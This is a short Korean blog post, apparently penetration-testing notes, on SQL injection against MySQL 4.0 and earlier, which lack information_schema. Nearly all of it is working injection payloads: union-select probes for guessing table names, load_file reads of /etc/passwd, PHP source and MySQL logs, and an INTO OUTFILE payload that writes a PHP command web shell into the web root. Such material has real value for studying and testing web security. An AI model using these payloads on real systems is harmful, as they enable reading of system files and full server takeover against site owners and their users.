Web Hacking
MySQL 4.0 환경에서의 SQL Injection
hyunmini
2014. 9. 24. 17:18
MySQL 4.0 이하 버전에서는 information_schema 가 없다. 즉 테이블, 필드명을 알 수 없다는 것이다.
하지만 모의해킹을 위해서는 알아내야만 한다. 해결 방법은 여러가지가 있다.
1) 추측(brute forcing)
search_value=-1' union select 'abcde',1,2 from mail#
=> java.lang.Exception: General error, message from server: "Table 'cleandb.mail' doesn't exist"
2) 소스코드 열람(union 혹은 blind, error based 등 모두 가능)
-1' union select load_file('/etc/passwd'),2,3#
=> 계정 및 홈폴더 파악
-1' union select load_file('/var/www/htm/member.php'),2,3#
=> 소스코드 열람 및 쿼리문을 보고 테이블명 확인
3) MySQL 로그파일 열람
-1' union select load_file('/var/log/mysql/log/error.log'),2,3#
4) 웹쉘 업로드
-1' union select '<? system($_GET['cmd']); ?>',0,0 into outfile '/var/www/html/shell.php'# (혹은 dumpfile)